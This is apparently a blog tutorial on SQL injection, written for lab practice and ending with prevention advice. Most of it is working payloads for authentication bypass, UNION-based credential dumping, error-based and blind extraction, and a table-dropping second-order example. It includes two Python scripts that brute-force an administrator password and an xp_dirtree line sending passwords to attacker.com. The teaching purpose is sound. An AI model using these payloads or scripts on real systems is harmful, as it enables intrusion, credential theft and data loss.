SQL Injection: All Concepts, All Payloads, All In One

Mastering SQL Injection: A Deep Dive Guide for Beginners & Pros Note: This guide assumes you have a safe, legal testing environment (e.g., DVWA, OWASP Juice Shop, local VMs). Never test against unauthorized targets. 1. What Is SQL Injection? SQL Injection (SQLi) is a web security vulnerability that arises when applications incorporate untrusted user input directly into SQL queries. By injecting specially crafted strings—containing SQL syntax—attackers can intercept or alter query logic, enabling them to bypass authentication, extract sensitive data, modify or delete records, and even execute administrative operations on the database server. In a typical injection flow, user-supplied values from form fields, URL parameters, or headers are concatenated into a query string. For example: SELECT * FROM products WHERE id = '" + userInput + "'; If userInput is 1 OR 1=1, the query becomes: SELECT * FROM products WHERE id = '1' OR 1=1; That second condition, 1=1, is always true. Consequently, the application returns all product rows instead of just the intended one. We choose this payload because it introduces an always-true expression, demonstrating how simple modifications bypass intended query logic. With more intricate payloads, attackers can escalate to full database compromise by combining additional clauses or comments. 2. How to Detect SQL Injection Vulnerabilities 1. Error Observation: Submit a single quote (') or double quote (") into form fields, query parameters, or HTTP headers. Many databases return descriptive error messages—syntax errors, type mismatches, or XML parsing failures—that reveal the injection point. Pay attention to unexpected HTTP 500 status codes or custom error pages. 2. Behavioral Differences: Inject boolean conditions such as OR 1=1 versus OR 1=2. Observe differences in page content, HTTP status codes, or even minor changes like the presence/absence of certain HTML elements. This approach works because the application processes both valid and invalid conditions, enabling confirmation of injection viability. 3. Timing Tests: For blind environments, inject database-specific sleep functions (SLEEP(5) in MySQL, WAITFOR DELAY '0:0:5' in MSSQL, pg_sleep(5) in PostgreSQL). If the response is significantly delayed, it indicates the injected condition was evaluated. This payload is chosen to rely solely on server response time, bypassing the need for direct output. 4. Automated Scanning: Use tools like sqlmap or Burp Suite’s Scanner to enumerate potential injection points. These can automate payload generation and response analysis. However, they might miss custom business-logic vulnerabilities or sophisticated WAF bypasses, so manual testing remains essential. 3. Retrieving Hidden Data & Subverting Logic 3.1 Authentication Bypass (Tautology) Situation: A login form builds a query like: SELECT * FROM users WHERE username = '$user' AND password = '$pass'; Injection: Supply username: ' OR '1'='1 and any password: SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'foo'; This payload works by injecting an always-true condition ('1'='1') that subverts the AND logic. We choose it because it reliably bypasses simple credential checks without needing to know valid usernames or passwords in advance. The database returns the first matching user record, often granting admin access. 3.2 Conditional Login Test Situation: A session tracking cookie, e.g., TrackingId, triggers a custom message “Welcome back!” when valid. Internally: SELECT * FROM sessions WHERE id = 'TrackingId'; Injection: Toggle the condition to true/false: Cookie: TrackingId=xyz' AND '1'='1 Cookie: TrackingId=xyz' AND '1'='2 These payloads work by appending additional Boolean expressions to the original query. Choosing 'AND '1'='1' ensures the condition remains valid, causing the application to confirm the session. Conversely, 'AND '1'='2' always fails, demonstrating how Boolean differences reveal injection points. 4. UNION-Based Injection 4.1 Determining Column Count Applications often return multiple columns. Before using UNION, attackers must match the column count and data types. Payloads: ?id=1' ORDER BY 1-- ?id=1' ORDER BY 2-- ... ?id=1' ORDER BY N-- # yields an error when N exceeds column count Each increment tests if the application accepts ordering by that column index. When an error occurs, it indicates the true column count. We choose this method because it’s reliable and doesn’t require prior schema knowledge. 4.2 Finding Compatible Data Types Next, verify which columns accept strings versus numbers: ' UNION SELECT NULL, NULL -- # if two columns ' UNION SELECT 'a', 1 -- # test string-integer mix Using NULL bypasses strict type requirements, while mixing literals tests each column’s compatibility. This approach ensures sub

Jun 15, 2025 - 12:10
 0
SQL Injection: All Concepts, All Payloads, All In One

Mastering SQL Injection: A Deep Dive Guide for Beginners & Pros

Note: This guide assumes you have a safe, legal testing environment (e.g., DVWA, OWASP Juice Shop, local VMs). Never test against unauthorized targets.

1. What Is SQL Injection?

Image description

SQL Injection (SQLi) is a web security vulnerability that arises when applications incorporate untrusted user input directly into SQL queries. By injecting specially crafted strings—containing SQL syntax—attackers can intercept or alter query logic, enabling them to bypass authentication, extract sensitive data, modify or delete records, and even execute administrative operations on the database server.

In a typical injection flow, user-supplied values from form fields, URL parameters, or headers are concatenated into a query string. For example:

SELECT * FROM products WHERE id = '" + userInput + "';

If userInput is 1 OR 1=1, the query becomes:

SELECT * FROM products WHERE id = '1' OR 1=1;

That second condition, 1=1, is always true. Consequently, the application returns all product rows instead of just the intended one. We choose this payload because it introduces an always-true expression, demonstrating how simple modifications bypass intended query logic. With more intricate payloads, attackers can escalate to full database compromise by combining additional clauses or comments.

2. How to Detect SQL Injection Vulnerabilities

1. Error Observation:
Submit a single quote (') or double quote (") into form fields, query parameters, or HTTP headers. Many databases return descriptive error messages—syntax errors, type mismatches, or XML parsing failures—that reveal the injection point. Pay attention to unexpected HTTP 500 status codes or custom error pages.

2. Behavioral Differences:
Inject boolean conditions such as OR 1=1 versus OR 1=2. Observe differences in page content, HTTP status codes, or even minor changes like the presence/absence of certain HTML elements. This approach works because the application processes both valid and invalid conditions, enabling confirmation of injection viability.

3. Timing Tests:
For blind environments, inject database-specific sleep functions (SLEEP(5) in MySQL, WAITFOR DELAY '0:0:5' in MSSQL, pg_sleep(5) in PostgreSQL). If the response is significantly delayed, it indicates the injected condition was evaluated. This payload is chosen to rely solely on server response time, bypassing the need for direct output.

4. Automated Scanning:
Use tools like sqlmap or Burp Suite’s Scanner to enumerate potential injection points. These can automate payload generation and response analysis. However, they might miss custom business-logic vulnerabilities or sophisticated WAF bypasses, so manual testing remains essential.

3. Retrieving Hidden Data & Subverting Logic

3.1 Authentication Bypass (Tautology)

Situation: A login form builds a query like:

SELECT * FROM users WHERE username = '$user' AND password = '$pass';

Injection: Supply username: ' OR '1'='1 and any password:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'foo';

This payload works by injecting an always-true condition ('1'='1') that subverts the AND logic. We choose it because it reliably bypasses simple credential checks without needing to know valid usernames or passwords in advance. The database returns the first matching user record, often granting admin access.

3.2 Conditional Login Test

Situation: A session tracking cookie, e.g., TrackingId, triggers a custom message “Welcome back!” when valid. Internally:

SELECT * FROM sessions WHERE id = 'TrackingId';

Injection: Toggle the condition to true/false:

Cookie: TrackingId=xyz' AND '1'='1
Cookie: TrackingId=xyz' AND '1'='2

These payloads work by appending additional Boolean expressions to the original query. Choosing 'AND '1'='1' ensures the condition remains valid, causing the application to confirm the session. Conversely, 'AND '1'='2' always fails, demonstrating how Boolean differences reveal injection points.

4. UNION-Based Injection

4.1 Determining Column Count

Applications often return multiple columns. Before using UNION, attackers must match the column count and data types.

Payloads:

?id=1' ORDER BY 1--
?id=1' ORDER BY 2--
... 
?id=1' ORDER BY N--  # yields an error when N exceeds column count

Each increment tests if the application accepts ordering by that column index. When an error occurs, it indicates the true column count. We choose this method because it’s reliable and doesn’t require prior schema knowledge.

4.2 Finding Compatible Data Types

Next, verify which columns accept strings versus numbers:

' UNION SELECT NULL, NULL --  # if two columns
' UNION SELECT 'a', 1 --      # test string-integer mix

Using NULL bypasses strict type requirements, while mixing literals tests each column’s compatibility. This approach ensures subsequent data retrieval queries won’t fail due to type mismatches.

4.3 Extracting Data

Once aligned, append your own SELECT:

?id=1' UNION SELECT id, username, password FROM users--

This payload works by merging legitimate query results with attacker-controlled data pulled from the users table. Choosing id, username, password aligns with common columns of interest for credential harvesting.

5. Examining the Database (Information Schema)

When table/column names are unknown, SQLi attackers leverage the metadata tables:

5.1 Enumerate Tables

?id=1' UNION SELECT NULL, table_name FROM information_schema.tables--

Retrieves a list of all tables. We choose information_schema.tables because it’s universally supported across SQL databases.

5.2 Enumerate Columns

?id=1' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name='users'--

Filters for columns within the users table. This targeted approach avoids overwhelming output and speeds enumeration.

5.3 Dump Specific Columns

?id=1' UNION SELECT NULL, CONCAT(username, ':', password) FROM users--

Concatenates username and password with a delimiter. We pick CONCAT and : for readability and easy parsing in results.

6. Error-Based SQL Injection

When applications display raw database errors, you can force errors to leak data directly by triggering different types of errors. Below are multiple payloads and their purposes:

6.1 Conversion Errors

?id=1' AND 1=CONVERT(int,(SELECT @@version))--

Triggers a type conversion error that includes the result of SELECT @@version in the error message. Useful to identify the database engine and version.

?id=1' AND 1=CAST((SELECT user()) AS INT)--

For systems supporting CAST, this forces a cast error revealing the current database user.

6.2 Arithmetic and Function Errors

?id=1' AND (SELECT TOP 1 name FROM sysobjects) LIKE '%user%' / 0--

Divides by zero when the first table name contains “user”, causing an error if true. This payload combines arithmetic with metadata queries.

?id=1' AND JSON_VALUE((SELECT CONCAT('{"u":"', user(), '"}')), '$.u') IS NULL--

On SQL Server 2016+, uses JSON_VALUE to produce an error if JSON is malformed, leaking user() value.

6.3 XML-Based Errors (MySQL)

?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT user())), 1)--

The invalid updatexml call raises an XML parsing error containing the username. The hex 0x7e (~) prefixes the value for easy parsing.

?id=1' AND EXTRACTVALUE(1, CONCAT(0x3a, (SELECT database())))--

Similar to UPDATEXML, EXTRACTVALUE triggers an error embedding the current database name.

7. Blind SQL Injection

Blind SQLi relies on inference rather than direct output. Here are additional payloads for boolean and time-based variations:

7.1 Boolean-Based (Conditional Responses)

Extract data one bit at a time when no data or errors are returned. Below are multiple payloads and their explanations:

Payload Example 1:

Cookie: TrackingId=xyz' AND (SELECT COUNT(*) FROM users)--

If the count is nonzero, the condition is true and the application may reveal a valid session. Used to test aggregate queries.

Payload Example 2:

Cookie: TrackingId=xyz' AND EXISTS(SELECT 1 FROM users WHERE username='admin')--

Checks for existence of the ‘admin’ user. True if the user exists, false otherwise.

Payload Example 3 (Substring Test):

Cookie: TrackingId=xyz' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'), 2, 1) = 'b'--

Targets the second character of the password. By adjusting position and character, you reconstruct the full string.

7.1.1 Automating with Python

Click to expand script

import requests

tracking_id = input("enter tracking id: ")
session_id = input("enter session id: ")
url = input("enter url: ")

# 1) Find length
def get_length():
    for i in range(1, 50):
        payload = f"'+AND+(select+length(password)+from+users+where+username='administrator')={i}--"
        cookies = {"TrackingId": tracking_id + payload, "session": session_id}
        r = requests.get(url, cookies=cookies)
        if "Welcome back!" in r.text:
            return i

# 2) Extract characters
def get_password(l):
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    result = ""
    for pos in range(1, l+1):
        for ch in charset:
            payload = f"'+AND+(select+substring(password,{pos},1)+from+users+where+username='administrator')='{ch}'--"
            cookies = {"TrackingId": tracking_id + payload, "session": session_id}
            r = requests.get(url, cookies=cookies)
            if "Welcome back!" in r.text:
                result += ch
                break
    return result

length = get_length()
print("Password length:", length)
print("Password:", get_password(length))

This script calculates the password length then iteratively extracts each character using substring checks and boolean feedback.

7.2 Time-Based Blind Injection

When no response differences or errors are available, use time delays. Additional payload examples:

Payload Example 1 (MySQL SLEEP):

?id=1' AND IF((SELECT ASCII(SUBSTRING(password,1,1)) FROM users WHERE username='administrator') > 109, SLEEP(5), 0)--

Checks if the ASCII value of the first character is greater than ‘m’ (109). Sleeps if true, enabling binary search on character values.

Payload Example 2 (MSSQL WAITFOR):

?id=1'; IF (SELECT LEN(password) FROM users WHERE username='administrator') = 10 WAITFOR DELAY '0:0:5'--

Infers password length by sleeping only when the length equals 10.

PostgreSQL Delay via Sleep

Click to expand script

import requests, time

session_id = input("enter session id: ")
url = input("enter url: ")
charset = "abcdefghijklmnopqrstuvwxyz0123456789"

for pos in range(1, 21):
    for ch in charset:
        payload = (
            f"'||(SELECT CASE WHEN substring(password,{pos},1)='{ch}' THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users WHERE username='administrator')--"
        )
        cookies = {"TrackingId": payload, "session": session_id}
        start = time.time()
        requests.get(url, cookies=cookies)
        if time.time() - start > 4:
            print(f"Position {pos}: {ch}")
            break

Using an IF condition with pg_sleep enables bitwise extraction by observing delays. We choose this payload for PostgreSQL environments for its precision and reliability.

8. Out‑of‑Band (OAST) SQL Injection

When neither data nor error feedback is exposed, trigger external callbacks:

?id=1'; EXEC master..xp_dirtree '\\attacker.com\\'+(SELECT password FROM users)+'\\share'--

This payload instructs the database server to perform a network call to the attacker’s domain, embedding the password in the path. We choose the xp_dirtree function because it reliably causes DNS resolution in MSSQL environments.

9. SQL Injection in Different Contexts

Second‑Order SQLi: Payloads stored in the application (e.g., comments, profiles) are later executed when that data is used in a new SQL context:

-- Initial storage:
INSERT INTO posts (content) VALUES ('Great post'); DROP TABLE comments; --
-- Later, when viewing posts, the DROP TABLE executes.

We use this example to illustrate how injections can hide in benign inputs and trigger later, bypassing initial sanitization.

NoSQL Contexts: Document databases like MongoDB suffer similar flaws if user input is embedded directly in JSON queries:

{ "username": userInput, "password": passInput }

Injecting { "$ne": null } bypasses both fields. This payload exploits type coercion and query structure in NoSQL contexts.

10. Preventing SQL Injection

  1. Parameterized Queries / Prepared Statements: Bind variables instead of concatenating strings.
  2. ORMs & Query Builders: Rely on built-in methods that auto-escape inputs.
  3. Strict Input Validation: Use allow-lists for IDs, enforce regex for emails, etc.
  4. Least Privilege: Limit database user rights to only necessary operations.
  5. Error Handling: Suppress verbose errors in production; log details internally.
  6. Regular Testing: Combine automated scanners with manual pentesting.

Never trust user input—always treat it as data, not code.

11. Additional Resources & Cheat Sheets

Practice Platforms

Cheat Sheets & References

Conclusion
SQL Injection remains one of the most critical web vulnerabilities. Mastering each technique—from classic bypass to advanced OAST—empowers both attackers and defenders to secure or exploit applications effectively.

Thanks to everyone who made it to the end of this blog. Make sure to follow me on X (https://x.com/Advik_Kant) till then stay ethical, stay curious, and always code defensively!